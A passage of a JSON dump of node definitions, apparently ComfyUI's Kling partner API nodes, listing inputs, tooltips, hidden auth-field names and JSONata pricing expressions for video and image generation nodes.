["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "prompt", "negative_prompt", "model_name", "cfg_scale", "mode", "aspect_ratio", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingImage2VideoNode", "display_name": "Kling Image(First Frame) to Video", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := widgets.mode;\n $model := widgets.model_name;\n $dur := widgets.duration;\n $contains($model,\"v2-5-turbo\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : ($contains($model,\"v2-1-master\") or $contains($model,\"v2-master\"))\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : ($contains($model,\"v2-1\") or $contains($model,\"v1-6\") or $contains($model,\"v1-5\"))\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($model,\"v1\")\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControlI2VNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "Reference Image - URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1. Base64 should not include data:image prefix."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "camera_control": ["CAMERA_CONTROL", {"tooltip": "Can be created using the Kling Camera Controls node. Controls the camera movement and motion during the video generation."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "camera_control"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingCameraControlI2VNode", "display_name": "Kling Image to Video (Camera Control)", "description": "Transform still images into cinematic videos with professional camera movements that simulate real-world cinematography. Control virtual camera actions including zoom, rotation, pan, tilt, and first-person view, while maintaining focus on your original image.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.49}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControlT2VNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.75, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "camera_control": ["CAMERA_CONTROL", {"tooltip": "Can be created using the Kling Camera Controls node. Controls the camera movement and motion during the video generation."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "camera_control"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingCameraControlT2VNode", "display_name": "Kling Text to Video (Camera Control)", "description": "Transform text into cinematic videos with professional camera movements that simulate real-world cinematography. Control virtual camera actions including zoom, rotation, pan, tilt, and first-person view, while maintaining focus on your original text.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.14}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingStartEndFrameNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "Reference Image - URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1. Base64 should not include data:image prefix."}], "end_frame": ["IMAGE", {"tooltip": "Reference Image - End frame control. URL or Base64 encoded string, cannot exceed 10MB, resolution not less than 300*300px. Base64 should not include data:image prefix."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "mode": ["COMBO", {"tooltip": "The configuration to use for the video generation following the format: mode / duration / model_name.", "default": "pro mode / 5s duration / kling-v2-5-turbo", "multiselect": false, "options": ["pro mode / 5s duration / kling-v1-5", "pro mode / 10s duration / kling-v1-5", "pro mode / 5s duration / kling-v1-6", "pro mode / 10s duration / kling-v1-6", "pro mode / 5s duration / kling-v2-1", "pro mode / 10s duration / kling-v2-1", "pro mode / 5s duration / kling-v2-5-turbo", "pro mode / 10s duration / kling-v2-5-turbo"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["start_frame", "end_frame", "prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingStartEndFrameNode", "display_name": "Kling Start-End Frame to Video", "description": "Generate a video sequence that transitions between your provided start and end images. The node creates all frames in between, producing a smooth transformation from the first frame to the last.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.mode;\n $contains($m,\"v2-5-turbo\")\n ? ($contains($m,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : $contains($m,\"v2-1\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : $contains($m,\"v2-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v1-6\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($m,\"v1\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVideoExtendNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt for guiding the video extension", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt for elements to avoid in the extended video", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0}], "video_id": ["STRING", {"tooltip": "The ID of the video to be extended. Supports videos generated by text-to-video, image-to-video, and previous video extension operations. Cannot exceed 3 minutes total duration after extension.", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "video_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingVideoExtendNode", "display_name": "Kling Video Extend", "description": "Kling Video Extend Node. Extend videos made by other Kling nodes. The video_id is created by using other Kling Nodes.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.28}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingLipSyncAudioToVideoNode": {"input": {"required": {"video": ["VIDEO", {}], "audio": ["AUDIO", {}], "voice_language": ["COMBO", {"default": "en", "multiselect": false, "options": ["zh", "en"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "audio", "voice_language"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingLipSyncAudioToVideoNode", "display_name": "Kling Lip Sync Video with Audio", "description": "Kling Lip Sync Audio to Video Node. Syncs mouth movements in a video file to the audio content of an audio file. When using, ensure that the audio contains clearly distinguishable vocals and that the video contains a distinct face. The audio file should not be larger than 5MB. The video file should not be larger than 100MB, should have height/width between 720px and 1920px, and should be between 2s and 10s in length.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": "Video Generation", "has_intermediate_output": false}, "KlingLipSyncTextToVideoNode": {"input": {"required": {"video": ["VIDEO", {}], "text": ["STRING", {"tooltip": "Text Content for Lip-Sync Video Generation. Required when mode is text2video. Maximum length is 120 characters.", "multiline": true}], "voice": ["COMBO", {"default": "Melody", "multiselect": false, "options": ["Melody", "Sunny", "Sage", "Ace", "Blossom", "Peppy", "Dove", "Shine", "Anchor", "Lyric", "Tender", "Siren", "Zippy", "Bud", "Sprite", "Candy", "Beacon", "Rock", "Titan", "Grace", "Helen", "Lore", "Crag", "Prattle", "Hearth", "The Reader", "Commercial Lady", "\u9633\u5149\u5c11\u5e74", "\u61c2\u4e8b\u5c0f\u5f1f", "\u8fd0\u52a8\u5c11\u5e74", "\u9752\u6625\u5c11\u5973", "\u6e29\u67d4\u5c0f\u59b9", "\u5143\u6c14\u5c11\u5973", "\u9633\u5149\u7537\u751f", "\u5e7d\u9ed8\u5c0f\u54e5", "\u6587\u827a\u5c0f\u54e5", "\u751c\u7f8e\u90bb\u5bb6", "\u6e29\u67d4\u59d0\u59d0", "\u804c\u573a\u5973\u9752", "\u6d3b\u6cfc\u7537\u7ae5", "\u4fcf\u76ae\u5973\u7ae5", "\u7a33\u91cd\u8001\u7238", "\u6e29\u67d4\u5988\u5988", "\u4e25\u8083\u4e0a\u53f8", "\u4f18\u96c5\u8d35\u5987", "\u6148\u7965\u7237\u7237", "\u5520\u53e8\u7237\u7237", "\u5520\u53e8\u5976\u5976", "\u548c\u853c\u5976\u5976", "\u4e1c\u5317\u8001\u94c1", "\u91cd\u5e86\u5c0f\u4f19", "\u56db\u5ddd\u59b9\u5b50", "\u6f6e\u6c55\u5927\u53d4", "\u53f0\u6e7e\u7537\u751f", "\u897f\u5b89\u638c\u67dc", "\u5929\u6d25\u59d0\u59d0", "\u65b0\u95fb\u64ad\u62a5\u7537", "\u8bd1\u5236\u7247\u7537", "\u6492\u5a07\u5973\u53cb", "\u5200\u7247\u70df\u55d3", "\u4e56\u5de7\u6b63\u592a"]}], "voice_speed": ["FLOAT", {"tooltip": "Speech Rate. Valid range: 0.8~2.0, accurate to one decimal place.", "advanced": true, "default": 1, "min": 0.8, "max": 2.0, "display": "slider"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "text", "voice", "voice_speed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingLipSyncTextToVideoNode", "display_name": "Kling Lip Sync Video with Text", "description": "Kling Lip Sync Text to Video Node. Syncs mouth movements in a video file to a text prompt. The video file should not be larger than 100MB, should have height/width between 720px and 1920px, and should be between 2s and 10s in length.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVirtualTryOnNode": {"input": {"required": {"human_image": ["IMAGE", {}], "cloth_image": ["IMAGE", {}], "model_name": ["COMBO", {"default": "kolors-virtual-try-on-v1", "multiselect": false, "options": ["kolors-virtual-try-on-v1", "kolors-virtual-try-on-v1-5"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["human_image", "cloth_image", "model_name"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingVirtualTryOnNode", "display_name": "Kling Virtual Try On", "description": "Kling Virtual Try On Node. Input a human image and a cloth image to try on the cloth on the human. You can merge multiple clothing item pictures into one image with a white background.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.7}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImageGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "image_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["subject", "face"]}], "image_fidelity": ["FLOAT", {"tooltip": "Reference intensity for user-uploaded images", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "human_fidelity": ["FLOAT", {"tooltip": "Subject reference similarity", "advanced": true, "default": 0.45, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3", "kling-v2", "kling-v1-5"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "3:2", "2:3", "21:9"]}], "n": ["INT", {"tooltip": "Number of generated images", "default": 1, "min": 1, "max": 9}]}, "optional": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "image_type", "image_fidelity", "human_fidelity", "model_name", "aspect_ratio", "n"], "optional": ["image", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingImageGenerationNode", "display_name": "Kling 3.0 Image", "description": "Kling Image Generation Node. Generate an image from a text prompt with an optional reference image.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/image/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_name", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": ["image"], "input_groups": []}, "expr": "\n (\n $m := widgets.model_name;\n $base :=\n $contains($m,\"kling-v1-5\")\n ? (inputs.image.connected ? 0.028 : 0.014)\n : $contains($m,\"kling-v3\") ? 0.028 : 0.014;\n {\"type\":\"usd\",\"usd\": $base * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingSingleImageVideoEffectNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": " Reference Image. URL or Base64 encoded string (without data:image prefix). File size cannot exceed 10MB, resolution not less than 300*300px, aspect ratio between 1:2.5 ~ 2.5:1"}], "effect_scene": ["COMBO", {"multiselect": false, "options": ["bloombloom", "dizzydizzy", "fuzzyfuzzy", "squish", "expansion"]}], "model_name": ["COMBO", {"multiselect": false, "options": ["kling-v1-6"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "effect_scene", "model_name", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingSingleImageVideoEffectNode", "display_name": "Kling Video Effects", "description": "Achieve different special effects when generating a video based on the effect_scene.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "effect_scene", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n ($contains(widgets.effect_scene,\"dizzydizzy\") or $contains(widgets.effect_scene,\"bloombloom\"))\n ? {\"type\":\"usd\",\"usd\":0.49}\n : {\"type\":\"usd\",\"usd\":0.28}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingDualCharacterVideoEffectNode": {"input": {"required": {"image_left": ["IMAGE", {"tooltip": "Left side image"}], "image_right": ["IMAGE", {"tooltip": "Right side image"}], "effect_scene": ["COMBO", {"multiselect": false, "options": ["hug", "kiss", "heart_gesture"]}], "model_name": ["COMBO", {"default": "kling-v1", "multiselect": false, "options": ["kling-v1", "kling-v1-5", "kling-v1-6"]}], "mode": ["COMBO", {"default": "std", "multiselect": false, "options": ["std", "pro"]}], "duration": ["COMBO", {"multiselect": false, "options": ["5", "10"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image_left", "image_right", "effect_scene", "model_name", "mode", "duration"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING"], "output_is_list": [false, false], "output_name": ["VIDEO", "duration"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "KlingDualCharacterVideoEffectNode", "display_name": "Kling Dual Character Video Effects", "description": "Achieve different special effects when generating a video based on the effect_scene. First image will be positioned on left side, second on right side of the composite.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model_name", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $mode := widgets.mode;\n $model := widgets.model_name;\n $dur := widgets.duration;\n ($contains($model,\"v1-6\") or $contains($model,\"v1-5\"))\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($model,\"v1\")\n ? (\n $contains($mode,\"pro\")\n ? ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($dur,\"10\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingOmniProTextToVideoNode": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": ["kling-v3-omni", "kling-video-o1"]}], "prompt": ["STRING", {"tooltip": "A text prompt describing the video content. This can include both positive and negative descriptions. Ignored when storyboards are enabled.", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}]}, "optional": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "storyboards": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations. Ignored for o1 model.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, 